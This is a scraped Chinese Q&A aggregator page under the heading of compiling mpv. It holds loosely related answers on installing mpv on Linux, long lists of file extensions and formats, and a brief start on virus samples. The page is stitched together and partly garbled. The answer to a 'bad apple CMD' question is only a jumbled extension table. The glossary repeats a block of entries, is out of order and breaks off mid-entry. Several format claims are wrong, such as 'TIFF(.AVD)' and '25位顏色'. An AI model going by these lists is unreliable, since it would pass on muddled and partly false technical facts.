導航:首頁 > 源碼編譯 > mpv源碼編譯

mpv源碼編譯

發布時間:2022-09-28 08:38:49

A. linux怎麼安裝mpv

可以用源碼編譯,也可以直接去下官網看對應的發行版的包,或者直接在終端輸入安裝命令,比如我用的是Ubuntu trusty-lts,就直接按照普通的apt-get方式,反正社區有package,但是版本貌似挺低的,反正不太在Linux下娛樂,無所謂。。。可以打開url,格式直接看官網的介紹,或者終端打mpv也有提供格式,沒有GUI的麻煩在於得去記一條條命令,配置啊等等

B. 文件類型一共又多少種 後綴又有多少

文件的後綴有很多,不同的軟體有不同的文件後綴.

★什麼是文件的後綴名
說起來Windows工作界面下的文件名簡直是隨心所欲,比如:某編輯部的2000年工作計劃。文件名即可用中文直接表達,而且長度最長可達256個字元,讓人看起來真是一目瞭然。然而在Windows環境中,安裝的軟體中卻大量存在著類似CALENDAR.EXE、GAMES.GRP等等的文件名,這又是為什麼呢?原來這些文件名都是根據DOS環境的文件名命名規則而定的。

★DOS環境下的文件後綴名
在DOS下,文件名採用8+3結構,即:最長8位的文件名,由小數點分隔後再跟上最長3位的後綴名,如:READ.ME、SETUP.EXE,一般情況下文件名不允許使用漢字,只能由字母、數字和一些符號組成。如READ.ME用中文理解就是"讀我",即提示用戶在使用軟體前先看看這個文件的內容,以獲取更多的提示信息。而更重要的是,DOS下規定用後綴名來區分各種不同的文件。
在DOS下最容易遇到的首先是可執行文件,後綴名有兩類:*.exe、*.com(此處的*表示文件名任意),它們是由匯編語言或其它高級語言編出的程序經過編譯後直接在DOS下運行的文件。有時由於軟體功能多、內存偏小,不能一次性全部調入內存還可能有同文件名的ovl文件,如ws.exe、ws.ovl。另外還有一種文件可以直接運行,*.bat,即批處理文件:其中有許多命令或可執行文件名,主要用於提高工作效率;最有用的是Autoexec.bat,這個文件在開機時會被自動執行(自動執行在英文中就是Automatically execute)。而另外一種可以載入但不能直接運行的文件即是系統擴展管理文件*.sys(sys即系統system):它主要提供某些非標准設備如滑鼠、擴充內存等的驅動程序,如mouse.sys、himem.sys。為了統一管理還專門規定了一個config.sys的文本文件來一次性地在開機時自動調入這些必需的設備驅動程序,這些文件一旦被誤刪或換名或被病毒侵襲則將直接導致系統工作不正常。
DOS下字處理產生的文件原本是可以不用後綴的,但人們常用*.txt表示(txt即文本text)。被所有的平台和所有應用程序支持。而為了管理方便,人們也可以用自己的名字做後綴來表示是自己建的文本文件,如我輸入的很多文章即為*.mcj,為了便於用戶在意外刪掉原文件的情況下能盡快恢復原文件,許多字處理系統都提供了一種自動備份的功能,如我第二次編輯JIHUA.MCJ時(JIHUA:計劃的漢語拼音),系統會先拷貝一份原文件為JIHUA.BAK。使用具有特殊格式功能的字處理軟體,如求伯君先生早年推出的WPS,就會規定其後綴為.wps,用以標識是用WPS生成的文本文件。當使用字處理軟體編輯高級語言程序時,後綴通常為相應語言的前三個字母(如:*.BAS即BASIC語言源程序,*.PAS為PASCAL語言程序,*.FOR為Fortran語言程序,*.C即為C語言,*.ASM即為匯編語言程序)。
伴隨著可執行文件常附有以下幾類文件:*.HLP即幫助文件(help)、*.CFG即配置文件(config)、*.DAT即數據文件(data)、*.LOG即日誌文件(log)、*.TMP為臨時文件(temporal)。

★Windows環境下的文件後綴名
絕大多數DOS文件名後綴在Windows下繼續有效,但Windows本身也引出了許多種嶄新的後綴名,如:*.drv為設備驅動程序(Driver)、*.fon和*.fot都是字型檔文件、*.grp為分組文件(Group)、*.ini為初始化信息文件 (Initiation)、*.pif為DOS環境下的可執行文件在Windows下執行時所需要的文件格式、*.crd即卡片文件(Card)、*.rec即記錄器宏文件(Record)、*.wri即文本文件(Write),它是字處理write.exe生成的文件、*.doc和*.rtf也是文本文件(Document),它們是Word產生的文件、*.cal為日歷文件、*.clp是剪貼板中的文件格式、*.htm和*.html即主頁文件、*.par為交換文件、*.pwl為口令文件(Password)等等。

★圖像文件的後綴名
進入多媒體世界後,大家會看到各種各樣精彩的圖片,會發現許多種後綴名。的確,由於各個公司在開發圖形有關的軟體時都自製標准,導致今日在圖形方面有太多的格式,以下就是常見的幾種格式:
首先是一種點陣圖文件格式,它是一組點(像素)組成的圖像,它們由圖像程序生成或在掃描圖像時創建。主要有Windows點陣圖(.BMP):由Microsoft公司開發,它被Windows和Windows NT平台及許多應用程序支持。支持32位顏色,用於為Windows界面創建圖標的資源文件格式,游標(.CUR、.DLL、.EXE):資源文件格式,用於創建Windows界面的游標。OS/2點陣圖(.BMP):Microsoft公司和IBM開發的點陣圖文件格式。它為各種操作系統和應用程序所支持。支持壓縮,最大的圖像像素為64000×64000。畫筆(.PCX):由Zsoft公司推出,它對圖像數據也進行了壓縮,可由PCX生成。用於Windows的畫筆。支持24位顏色,最大圖像像素是64000×64000。支持壓縮。圖形交換格式:
Graphics Interchage format(.GIF):由Compu Serve創建,它能以任意大小支持圖畫,通過壓縮可節省存儲空間,還能將多幅圖畫存在一個文件中。支持256色,最大圖像像素是64000×64000。
Kodak Photo CD(.PCD):Eastman Kodak所開發的點陣圖文件格式,被所有的平台所支持,PCD支持24位顏色,最大的圖像像素是2048×3072,用於在CD-ROM上保存照片。
Adobe Photoshop(.PSD):Adobe Photoshop的點陣圖文件格式,被Macintosh和MS Windows平台所支持,最大的圖像像素是30000×30000,支持壓縮,廣泛用於商業藝術。
Macintosh繪畫(.MAC):Apple公司所開發的點陣圖文件格式。被Macintosh平台所支持,僅支持單色原圖,最大圖像像素是576×720。支持壓縮,主要用於在Macintosh圖形應用程序中保存黑白圖形和剪貼畫片。

★動畫文件的後綴名
動畫文件格式用於保存包含動畫框架中的圖形信息。主要有:Autodesk FLIC(.FLC):即.FLI,Autodesk Animator和AnimatorPro的動畫文件格式。支持256色,最大的圖像像素是64000×64000,支持壓縮。廣泛用於動畫圖形中的動畫序列、計算機輔助設計和計算機游戲應用程序。不大適合製作真實世界圖像動畫。
MacPICTS(.PCS,.PIC):Macromedia開發的動畫文件格式,為Macintosh應用程序使用。支持256色,支持壓縮,用於保存動畫數據,是Quick Time的前身。
Microsoft資源互換文件格式,TIFF(.AVD):Microsoft公司開發的動畫文件格式,被Windows、Windows NT平台和OS/2多媒體應用程序所支持,支持256色和壓縮,用於在多媒體應用程序中保存音頻、視頻和圖形信息。
MPEG(.MPEG):國際標准化組織的運動圖像專家小組開發的動畫文件格式。被所有平台和Xing Technologies MPEG播放器及其它應用程序所支持,支持壓縮,最大圖像像素是4095×4094×30幀/每秒。用於編碼音頻、視頻、文本和圖形數據。
Quick Time(.QTM):Apple計算機公司開發的動畫文件格式。被Apple Macintosh和Microsoft Windows平台所支持,支持25位顏色,最大圖像像素是64000×64000,支持壓縮,用於保存音頻和運動視頻信息。

★聲音文件的後綴名
聲音文件格式是用於保存數字音頻信息的。它們主要有:
AIFF(.AIF):這是Apple計算機公司開發的聲音文件格式,被Macintosh平台和應用程序所支持。支持壓縮。
Amiga聲音(.SVX):Commodore所開發的聲音文件格式,被Amiga平台和應用程序所支持,不支持壓縮。
MAC聲音(.SND):Apple計算機公司開發的聲音文件格式,被Macintosh平台和多種Macintosh應用程序所支持,支持某些壓縮。
MIDI(.MID):國際MIDI協會開發的聲音文件格式,被Windows平台和許多應用程序所支持,用於為樂器創建數字聲音。
聲霸(.VOC):Creative Labs公司開發的聲音文件格式,被Windows和DOS平台所支持,支持壓縮。
WAVE(.WAV):微軟公司用作Windows平台上保存音頻信息的資源格式。

★壓縮文件的後綴名
為了提高存儲效率,許多公司都推出了壓縮數據的方法和相應的軟體,這類文件的使用主要通過壓包和解包軟體來進行,主要的後綴有:*.zip、*.arj、*.rar、*.lzh、*.jar。還有一些專用的壓縮文件,如:*.ex_、*.dl_、*.d3_、*.cab等。

★資料庫類文件的後綴名
在Dbase、FoxBase、Foxpro系列軟體的環境下有以下幾類後綴:
.ap 生成應用 .app 應用文件
.cbx和.pjt 標簽文件 .cdx和.idx 索引文件
.dbf 資料庫文件(databasefile) .err 編譯錯誤文件
.fky 鍵宏文件 .fp 配置文件
.fpt 備注欄位文件 .frx和.frt 報表文件
.fxp 編譯後的程序
.mnx 和.mnt 菜單文件 .men 內存應用
.pcb 庫文件 .pjx和.pjt 工程文件
.prg 命令文件(即程序Program)
.qpr和.qpx SQL查詢文件 .scx和.sct 屏幕文件
.tbk 臨時資料庫文件 .tmp 臨時文件
.win 窗口文件

★可安全刪除的文件類型
臨時文件:*.tmp,*.syd,*.$$$,*[email protected]@@,*._mp,*.gid,*.~*,*.gts
備份文件:*.bak,*.old,*.wbk,*.xlk,*.ckr_
幫助文件:*.hlp、*.chm、*.cnt

★後記
用戶要注意在不同的操作系統下,後綴名的約定會有所不同,如在Unix下,*.p代表Pascal語言程序,*.z代表壓縮文件,*.tar代表歸檔文件。另外,針對極特殊的設備,其驅動程序也會有特殊的後綴,如3DS顯示卡的驅動程序是*.exp。還有某些公司針對自己的產品也規定了文件名後綴,如方正公司的圖像排版文件規定用*.grh(即Graph)。
文件名的後綴代表著某一種類型的文件,一般會由某一種特定的軟體產生和處理。只有對這些後綴名的知識有一定的了解,才能在上機的過程中知道其所以然。這兒帶著大家看到了常見的一些後綴類型,實際上還有很多類型,不可能全部講完。常言說,師傅領進門,修行在個人,以後大家在計算機世界中自己轉著看吧。

★常見的文件後綴名
.ACA:Microsoft的代理使用的角色文檔
.acf:系統管理配置
.acm:音頻壓縮管理驅動程序,為Windows系統提供各種聲音格式的編碼和解碼功能
.aif:聲音文件,支持壓縮,可以使用Windows Media Player和QuickTime Player播放
.AIF:音頻文件,使用Windows Media Player播放
.AIFC:音頻文件,使用Windows Media Player播放
.AIFF:音頻文件,使用Windows Media Player播放
.ani:動畫游標文件擴展名,例如動畫沙漏。
.ans:ASCII字元圖形動畫文件
.arc:一種較早的壓縮文件,可以使用WinZip,WinRAR,PKARC等軟體打開
.arj:壓縮文件。可以使用WinZip,WinRAR,PKARC等軟體打開
.asf:微軟的媒體播放器支持的視頻流,可以使用Windows Media Player播放
.asp:微軟的視頻流文件,可以使用Windows Media Player打開
.asp:微軟提出的Active Server Page,是伺服器端腳本,常用於大型網站開發,支持資料庫連接,類似PHP。可以使用Visual InterDev編寫,是目前的大熱門
.asx:Windows Media 媒體文件的快捷方式
.au:是Internet中常用的聲音文件格式,多由Sun工作站創建,可使用軟體Waveform Hold and Modify 播放。Netscape Navigator中的LiveAudio也可以播放.au文件
.avi:一種使用Microsoft RIFF規范的Windows多媒體文件格式,用於存儲聲音和移動的圖片
.bak:備份文件,一般是被自動或是通過命令創建的輔助文件,它包含某個文件的最近一個版本,並且具有於該文件相同的文件名

.bas Basic:語言源程序文件,可編譯成可執行文件,目前使用Basic開發系統的是Visual Basic

.bat:批處理文件,在MS-DOS中,.bat文件是可執行文件,有一系列命令構成,其中可以包含對其他程序的調用

.bbs:電子告示板系統文章信息文件

.bfc:Windows的公文包文件

.bin:二進制文件,其用途依系統或應用而定

.bmp:Bitmap點陣圖文件,這是微軟公司開發Paint的自身格式,可以被多種Windows和Windows NT平台及許多應用程序支持,支持32位顏色,用於為Windows界面創建圖標的資源文件格式。

.c:C語言源程序文件,在C語言編譯程序下編譯使用

.cab:Microsoft制訂的壓縮包格式,常用於軟體的安裝程序,使用Windows自帶的實用程序,Extract.exe可以對其解壓縮,WinZip,WinRAR等都支持這種格式

.cal:Windows 中的日歷文件

.cdf:Internet Explorer的頻道文件

.cdr:CorelDraw中的一種圖形文件格式,它是所有CorelDraw應用程序中均能夠使用的一種圖形圖像文件格式

.cdx:索引文件,存在於Dbase,Foxbase,Foxpro系統軟體環境下

.cfg:配置文件,系統或應用軟體用於進行配置自己功能,特性的文件

.chm:編譯過後的HTML文件,常用於製作幫助文件和電子文檔

.clp:在Windows下剪貼板中的文件格式

.cmd:用於Windows NT/2000的批處理文件,其實與BAT文件功能相同,只是為了與DOS/Windows 9x下的BAT有所區別

.cmf:音效卡標準的音樂文件,FM合成器等可以回放

.cnf:NetMeetting會議連接文件

.cnt:聯機幫助文件目錄索引文件,通常和同名的.hlp文件一起保存

.col:由Autodesk Animator,Autodesk Animator Por等程序創建的一種調色板文件格式,其中存儲的是調色板中各種項目的RGB值

.com:DOS可執行命令文件,一般小於64KB

.cpl:控制面板擴展文件,Windows操作系統使用

.cpp:C++語言源程序,非常強大的語言,在各種平台中都有相應的開發系統
.crd:Windows中的卡片文件
.crt:用於安全方面的證書認證文件
.cur:Windows下的游標資源文件格式,可用游標編輯軟體編輯
.css:Text/css文件

.dat:數據文件,在應用程序中使用
.dat:VCD中的圖象聲音文件,VCD播放軟體可調用,或是通過VCD機播放
.dbf:資料庫文件,Foxbase,Dbase,Visual FoxPro,等資料庫處理系統所產生的資料庫文件

.dcx:傳真瀏覽文檔文件
.ddi:映象文件,DUP,HD,IMG等工具可展開
.dev:設備驅動程序
.dib:設備無關點陣圖文件,這是一種文件格式,其目的是為了保證用某個應用程序創建的點陣圖圖形可以被其它應用程序裝載或顯示一樣

.dir:目錄文件

.dll:Windows動態連接庫,幾乎無處不在,但有時由於不同版本DLL沖突會造成敗各種各樣的問踢

.doc:是目前市場佔有率最高的辦公室軟體Microsoft Office中的字處理軟體Word創建的文檔

.dos:Windows保留的MS-DOS的某些系統文件

.dot:Microsoft Word的文檔模板文件,通過模板可以簡化一些常用格式文檔的創建工作,而且可以內嵌VBA程序來實現某些自動化功能

.drv:設備驅動程序文件,用在各種系統中

.dwg:AutoCAD的圖紙文件,也是許多繪圖軟體都支持的格式,常用於共享數據

.dxb:AutoCAD創建的一中圖形文件格式

.dxf:圖形交換格式,一種計算機輔助設計的文件格式,最初開發用來與AutoCAD一起使用,以便於圖形文件在應用程序之間的傳遞,它以ASCII方式儲存圖形,在表現圖形的大小方面十分精確

.der:Certiticate文件

.dic:Txt文件

.emf:由Microsoft公司開發的Windows 32位擴展圖元文件格式,其總體設計目標是要彌補在Microsoft Windows 3.1(Win16)中用的*.wmf文件格式的不足,使得圖元文件更加易於使用

.eps:用PostScript語言描述的一種圖形文件格式,以文本文件保存,在PostScript圖形列印機上能列印出高品質的圖形圖象,最高能表示32點陣圖形圖象

.err:編譯錯誤文件,存在於Dbase,Foxbase,Foxpro系列軟體環境下
.exe:可執行文件,雖然後綴名相同,但具有不同的格式和版本
.exp:3DS使用的顯示卡驅動程序
.exc:Txt文件

.flc:Autodesk Animator和Animatorpro的動畫文件,支持256色,最大的圖象象索是64000*64000,支持壓縮,廣泛用於動畫圖形中的動畫序列,計算機輔助設計和計算機游戲應用程序

.fnd:保存的搜索結果
.fon:點陣字型檔文件
.for:Fortran語言程序
.fot:指向字體的快捷鍵
.fp: 配置文件,存在於Dbase,Foxbase,Foxpro系列軟體的環境下
.fpt:備注欄位文件,存在於Dbase,Foxbase,Foxpro系列軟體的環境下
.frt:報表文件,存在於Dbase,Foxbase,Foxpro系列軟體的環境下
.frx:報表文件,存在於Dbase,Foxbase,Foxpro系列軟體的環境下
.fxp:編譯後的程序,存在於Dbase,Foxbase,Foxpro系列軟體的環境下

.gif:在各種平台的各種圖形處理軟體上均能夠處理的,經過壓縮的一種圖形文件格式

.grh:方正公司的圖象排版文件
.grp:Windows下的程序管理器產生的組窗口文件
.goc:Gocserve
.gra:MSGraph.Chart.5
.h: C語言源程序頭文件
.hlp:Windows應用程序幫助文件

.hqx:Macintosh中使用BinHex將二進制文件編碼為7位的文本文件,大多數Macintosh文件皆以.hqx出現(.bin極少使用),在Macintosh中,可使用StuffIt Expander對.hqx解碼,在Windows中可使用BinHex 13解碼

.ht: 超級終端

.htm:保存超文本描述語言的文本文件,用於描述各種各樣的網頁,使用各種瀏覽器打開

.html:同.htm文件
.icm:圖象配色描述文件

.ico:Windows中的圖標文件,可以包含同一個圖標的多種格式,使用圖標編輯軟體創建

.idf:MIDI樂器定義
.idx:索引文件,存在於Dbase,Foxbase,Foxpro系列軟體的環境下

.iff:文件交換格式文件,這種文件格式多用於Amiga平台,在這種平台上它幾乎可以存儲各種類型的數據,在其它平台上,IFF文件格式多用於存儲圖象和聲音文件

.image:MAcintosh磁碟映象文件,常見於萍果機的FTP網點,在Macintosh中由Shrink Wrap處理

.ime:Windows下的輸入法文件

.img:磁碟映象文件,用HD-COPY,WinImage等工具打開後可以恢復到一張磁碟上

.inc:匯編語言包含文件,類似C/C++中的.H文件

.inf:Windows下的軟體安裝信息,Windows的標准安裝程序根據此文件內的安裝信息對軟體,驅動程序等進行安裝

.ini:Windows中的初始化信息文件,已經用的不多了,新的應用程序將設置保存在系統的注冊表中

.jar:一種壓縮文件,ARJ的新版本,不過不太流行,可以使用WinJar,Winrar等打開

.jpeg:一種圖片壓縮文件,同.jpg
.jpg:靜態圖象專家組制訂的靜態圖象壓縮標准,具有很高的壓縮比,使用非常廣泛,可使用PhotoShop等圖象處理軟體創建
.lnk:快捷方式,這個文件指向另一個文件,開始菜單的程序文件夾下每條項目都是一個LNK文件
.log:日誌文件,通常用來記錄一些事件之類
.lzh:一種古老的壓縮文件,可以使用WinRAR打開
.mac:Macintosh中使用的一中灰度圖形文件格式,在Macintosh Paintbrush中使用,其解析度只能是720*567
.mag :圖形文件格式
.mdb :Microsoft Access使用的資料庫格式,是非常流行的桌面資料庫
.men :內存應用文件,存在於Dbase,Foxbase,Foxpro系列軟體的環境下
.mid :音頻壓縮文件,曾經非常流行,不過在現在的軟體中用的很少了
rle :一種壓縮過的點陣圖文件格式,RLE壓縮方案是一種極其成熟的壓縮方案,特點是無損失壓縮,既節省了磁碟空間又不損失任何圖像數據,但在打開這種壓縮文件時,要花費更多時間,此外,一些兼容性不太好的應用程序可能會搭不開
.rm :Windows下的RealPlayer所支持的視頻壓縮文件,網上非常流行的流式視頻文件,很多實時視頻新聞等都是採用這種格式的,不過,最新的Windows Media Video V8已經對其發起了強大的攻勢
.rmi :MIDI音序文件
.rtf :豐富文本格式文件,以純文本描述內容,能夠保存各種格式信息,可以用寫字版,Word等創建
.sav :存檔文件
.scp :用於Windows系統中Internet撥號用戶,自動撥號登錄用的腳本文件,可避免手動登錄時繁瑣的鍵盤輸入
.scr :屏障保護文件
.sct :屏幕文件
.scx :屏幕文件
.set :Microsoft備份集文件,用於保存要備份的內容,設置等信息
.shb :指向一個文檔的快捷方式
.snd :Mac聲音文件,Apple計算機公司開發的聲音文件格式,被Macintosh平台和多種Macintosh應用程序所支持,支持某些壓縮
.sql:查詢文件,在Dbase,Foxbase,Foxpro系列軟體的環境下使用
.svg :SVG可以算是目前最火熱的圖像文件格式了,它是基於XML由WorldWideWebConsortium聯盟開發的,SVG是可縮放的矢量圖形
.svx :Amiga聲音文件,Commodore所開發的聲音文件格式,被Amiga平台和應用程序所支持,不支持壓縮
.swf :flash是Micromedia公司的產品,嚴格說它是一種動畫編輯軟體,實際上它是製作出一種後綴名為.swf的動畫,這種格式的動畫能用比較小的體積來表現豐富的多媒體形式,並且還可以與HTML文件達到一種"水乳交融"的境界
.swg:虛擬內存交換文件,由操作系統使用
.sys:系統文件,驅動程序等,在不同的操作系統中有不同的定義

.mif :MIDI樂器
.mov :使用Apple's QuickTime格式的電影文件,在Macintosh中由Sparkle,FastPlayer,MoviePlayer等軟體播放,在Windows中可由Quicktime播放
.movie :QuickTime或蘋果機的影視格式,在Macintosh中由Sparkle,FastPlayer,MoviePlayer等軟體播放,在Windows中可由QuickTime播放
.mp3 :採用MPEG-1 Layout 3標准壓縮的音頻文件,是網上主要的壓縮音頻文件,這種文件由於具有極高的壓縮率和失真低的特點,是目前音樂盜版的主要文件格式,但目前受到VQF,WMA等新標準的挑戰
.mpg :採用MPEG-1標准壓縮的視頻文件,與VCD使用的格式非常相近,提供CD質量的音頻信號和320*240的視頻分辯率,目前的媒體播放軟體大都能放,Microsoft的WMV8和MPEG-4壓縮的AVI文件是其強大的競爭對手
.mpt :Macintosh中使用的一種圖形文件格式
.msg :Microsoft郵件文檔
.obj :對象代碼
.ovl :由於軟體功能多,內存偏小,不能一次性全部調入內存的可執行文件可能有同文件名的ovl文件
.pcd :點陣圖文件,由Eastman Kodak開發,被所有的平台所支持,PCD支持24位顏色,最大的圖象像索是2048*3072,用於在CD-ROM上保存圖片
.pcs :動畫文件,是Macromedia開發的動畫文件格式,為Macintosh應用程序使用,支持壓縮,支持256色,用於保存動畫數據,是Quick Time的前身
.pcx :圖像文件,PCX格式是ZSOFT公司在開發圖像處理軟體Paintbrush是開發的一種格式,這是一種經過壓縮的格式,佔用磁碟空間較少
.pdf :圖文多媒體文件,Adobe公司定義的電子印刷品文件格式,它是一種事實上的標准,在Internet網上的很多電子印刷品,都是.pdf格式的
.psd :是PhotoShop中使用的一種標准圖形文件格式,能夠保存圖像數據的每一個細小部分,包括層,附加的蒙版通道以及其他內容
.pwl :Windows下的口令文件
.qt :Machintosh 的QuickTime影視格式,在Macintosh中由Sparkle,FastPlayer,MoviePlayer等軟體播放,在Windows中可由Quicktime播放
.qtm :動畫文件,這種文件格式是由Apple計算機公司開發,被Apple Macintosh和Microsoft Windows平台所支持,支持25位顏色,最大圖像分辯率是64000*64000,支持壓縮,用於保存音頻和運動視頻信息
.rec :Windows下的記錄器宏文件
.reg :Windows 95/98的系統及應用程序注冊文件,這種文件雖然以純文本文件保存,但一樣存在版本問題,不同的操作系統使用的REG文件版本是不同的
.rle :一種壓縮過的點陣圖文件格式,RLE壓縮方案是一種極其成熟的壓縮方案,特點是無損失壓縮,既節省了磁碟空間又不損失任何圖像數據,但在打開這種壓縮文件時,要花費更多時間,此外,一些兼容性不太好的應用程序可能會搭不開
.rm :Windows下的RealPlayer所支持的視頻壓縮文件,網上非常流行的流式視頻文件,很多實時視頻新聞等都是採用這種格式的,不過,最新的Windows Media Video V8已經對其發起了強大的攻勢
.rmi :MIDI音序文件
.rtf :豐富文本格式文件,以純文本描述內容,能夠保存各種格式信息,可以用寫字版,Word等創建
.sav :存檔文件
.scp :用於Windows系統中Internet撥號用戶,自動撥號登錄用的腳本文件,可避免手動登錄時繁瑣的鍵盤輸入
.scr :屏障保護文件
.sct :屏幕文件
.scx :屏幕文件
.set :Microsoft備份集文件,用於保存要備份的內容,設置等信息
.shb :指向一個文檔的快捷方式
.snd :Mac聲音文件,Apple計算機公司開發的聲音文件格式,被Macintosh平台和多種Macintosh應用程序所支持,支持某些壓縮
.sql:查詢文件,在Dbase,Foxbase,Foxpro系列軟體的環境下使用
.svg :SVG可以算是目前最火熱的圖像文件格式了,它是基於XML由WorldWideWebConsortium聯盟開發的,SVG是可縮放的矢量圖形
.svx :Amiga聲音文件,Commodore所開發的聲音文件格式,被Amiga平台和應用程序所支持,不支持壓縮
.swf :flash是Micromedia公司的產品,嚴格說它是一種動畫編輯軟體,實際上它是製作出一種後綴名為.swf的動畫,這種格式的動畫能用比較小的體積來表現豐富的多媒體形式,並且還可以與HTML文件達到一種"水乳交融"的境界
.swg:虛擬內存交換文件,由操作系統使用
.sys:系統文件,驅動程序等,在不同的操作系統中有不同的定義
.tbk:臨時資料庫文件,在Dbase,Foxbase,Foxpro系列軟體的環境下使用
.tga:圖像文件,此文件格式的結構比較簡單,屬於一種圖形,圖像數據的通用格式,在多媒體領域有著很大影響,是計算機生成圖像向電視轉換的一種首選格式
.tiff:圖像文件,此圖像格式復雜,存儲內容多,佔用存儲空間大,其大小是GIF圖像的3倍,是相應的JPEG圖像的10

C. 求bad apple CMD源代碼!

386 Windows虛擬設備驅動程序 CDX 復合索引文件 ABC ASCII編碼格式文件 CFG 配置文件,包含系統設備和環境信息 ACM 音頻壓縮管理驅動程序 CGM Paint Shop Pro映象文件 ACT 文檔向導 CHK 被CHKDSK/F命令恢復的由丟失的簇組成的文件 ADF 系統管理配置 CLP 剪貼板文件 AIF 聲音格式文件 CMD 命令文件 AIO 由APL文件轉換成的格式文件 CNF 配置文件,包含設備配置的有關信息 ANI 動畫滑鼠游標 CNT 幫助內容 APL APL工作區格式文件 COB COBOL語言源程序文件 APP 應用文件 COM DOS命令文件 ARC 壓縮文件 CPI 代碼字元集信息文件 ARJ 壓縮文件 CPL 控制面板應用程序 ART 圖像文件 CPP C/C++程序源文件 ASC ASC文本文件 CPT Macintosh Compact Pro文件庫 ASM MASM匯編語言源程序文件 CRD WINDOWS卡片 AU 聲音文件 CRF 交叉匯編文件,由MASM編譯器產生的程序列表 AVI Windows視頻文件 CRT INTERNET安全證書 AWD 傳真瀏覽文件 CSV 命令分割數據 AWP 傳真關鍵瀏覽器 CTL 控制文件 AWS 傳真簽名瀏覽器 CUR 滑鼠游標資源文件 BAD 錯誤文件 CUT Paint Shop Pro映象文件 BAK 備份文件 DAT 數據文件,包含程序中需處理或產生的一批數據 BAS BASIC語言源程序文件 DB dBASE或FoxBASE配置文件,包含運行環境的參數 BAT DOS批處理文件 DBC 資料庫 BCM WORKS通訊文件 DBF FoxBASE或FoxPro資料庫索引 BDB WORKS資料庫文件 DBS 資料庫 BFC 公文包 DBT 備注文件 BIN 二進制文件 DCT 字典文件 BMP WINDOWS點陣圖文件 DCX 傳真瀏覽文檔或資料庫索引 C C語言源程序文件 DDI 壓縮文件 CAB WINDOWS安裝程序 DEF 模式定義文件 CAL WINDOWS日歷文件 DER Internet安全證書 CDA CD音軌文件 DEV 設備驅動文件,包含安裝新設備時所需的參數 CDR Paint Shop Pro映象文件 DGS 設備診斷文件 MDB 擴展的瀏覽器 PCX 圖形數據文件 MEM FOXBASE內存變數文件 PDR 口驅動程序 MID MIDI序列 PF ICM描述文件 MIF MIDI樂器 PFM 列印機字形組合文件 MIV MCC訪問The Microsoft Network的快捷方式 PFO FORTRAN語言預編譯文件 MLV 電影剪輯 PGM 樣本或演示文件 MMF MICROSOFT郵件 PIC 圖形數據文件 MMM 動畫 PIF 程序信息文件 MNF 已存的MSN搜索 PIX 圖形數據文件 MNT 菜單備注 PJT 項目備注 MNU 菜單數據文件,包含有關菜單的定義 PJX 項目 MNX 表單 POT POWERPOINT模板 MOV 影片剪輯 PPD POSTSCRIPT列印機描述 MPA 運動圖形壓縮格式文件 PPT 圖片文件 MPD 驅動程序 PRG FOXBASE或FOXPRO過程或程序文件 MPE 運動圖形壓縮格式文件 PRJ 設計數據文件 MPG 運動圖形壓縮格式文件 PRN 列印格式文件 MPR 生成的菜單程序 PRO 說明文件 MPV 媒體剪輯 PRT 列印機格式 MPX 編譯後的菜單程序 PS 用於POSTSCRIPT的文檔 MSG 信息文件 PST MICROSOFT郵件 MSN MICROSOFT網路中心 PUB 通訊用公鑰文件 MSP WINDOWS畫筆圖像 PWL 口令列表 NAV MSN應用程序 PX 原始索引文件 NDX DBASE或FOXBASE索引數據文件 QIC MICROSOFT程序的備份集 NED MSN應用程序 QPR 生成的查詢程序 NET 網路配置文件 QPX 編輯後的查詢程序 NIS 自然語言服務驅動程序 QT 影片剪

D. 常見的文件類型有哪幾種

常見的文件類型有5類,具體如下:

1、文本文件類型。

文本文件類型:包括ASCII、MIME、.txt等格式。

(1)ASCII標准使得只含有ASCII字元的文本文件可以在Unix、Macintosh、Microsoft Windows、DOS和其它操作系統之間自由交互。

(2)文本文件在MIME標准中的類型為「text/plain」,此外,它通常還附加編碼的信息。在Mac OS X出現前,當Resource fork指定某一個文件的類型為「TEXT」時,Mac OS就認為這個文件是文本文件。

(3).txt是包含極少格式信息的文字文件的擴展名。.txt格式並沒有明確的定義,它通常是指那些能夠被系統終端或者簡單的文本編輯器接受的格式。

2、視頻文件格式類型。

視頻文件格式有不同的分類,如:

(1)微軟視頻 :wmv、asf、asx。

(2)Real Player :rm、rmvb。

(3)MPEG視頻 :mp4。

(4)手機視頻 :3gp。

(5)Apple視頻 :mov、m4v。

(6)其他常見視頻:avi、dat、mkv、flv、vob等。

3、音頻文件格式類型。

音頻文件格式類型:包括Wave、AIFF、Audio、MPEG、RealAudio、MIDI等格式。

(1)Wave格式是微軟公司開發的一種聲音文件格式,它符合PIFF(Resource Interchange File Format) 文件規范,用於保存WINDOWS平台的音頻信息資源,被WINDOWS平台及其應用程序所支持。

(2)AIFF是音頻交換文件格式的英文縮寫,是蘋果計算機公司開發的一種音頻文件格式。

(3)Audio文件是Sun Microsystems公司推出的一種經過壓縮的數字音頻格式,是Internet中常用的聲音文件格式。

(4)MPEG(Moving Picture Experts Group,動態圖像專家組)代表運動圖像壓縮標准,這里的音頻文件格式指的是MPGE標准中的音頻部分。

(5)RealAudio文件是RealNetworks公司開發的一種新型流式音頻(Streaming Audio)文件格式,它包含在RealNetworks公司所制定的音頻、視頻壓縮規范RealMedia中,主要用於在低速率的廣域網上實時傳輸音頻信息。

(6)MIDI(Musical Instrument Digital Interface,樂器數字介面)是數字音樂/合成樂器的統一國際標准,它定義了計算機音樂程序、合成器以及其他電子設備交換音樂信號的方式。

4、圖片文件格式類型。

圖像格式即圖像文件存放的格式,通常有JPEG、TIFF、RAW、BMP、GIF、PNG等。由於數碼相機拍下的圖像文件很大,儲存容量卻有限,因此圖像通常都會經過壓縮再儲存。

5、可執行文件格式類型。

可執行文件 (executable file) 指的是可以由操作系統進行載入執行的文件。在不同的操作系統環境下,可執行程序的呈現方式不一樣。在windows操作系統下,可執行程序可以是 .exe文件 .sys文件 .com等類型文件。

E. [250分的問題]關於病毒樣本和病毒分析和病毒分析工具、方法

1病毒樣本要從哪裡來
就病毒代碼的存在形式來說,有兩種,一種是病毒自身是個獨立的程序文件,另一種是它附著在正常的程序文件上,即所謂的感染,所以,病毒樣本其實就是指懷疑為病毒或染毒的文件
不過實際上,病毒程序並不一定象你說的那樣清清楚楚的有個主程序,現在的病毒木馬,都是幾個程序文件組成,相互保護、相互調用運行,它們都是病毒樣本
病毒的發作狀態,有些是能察覺出來的,比如:增加了進程、電腦速度或網速變慢、系統運行報錯等等,有些病毒發作時,幾乎沒有外在表現,很隱蔽
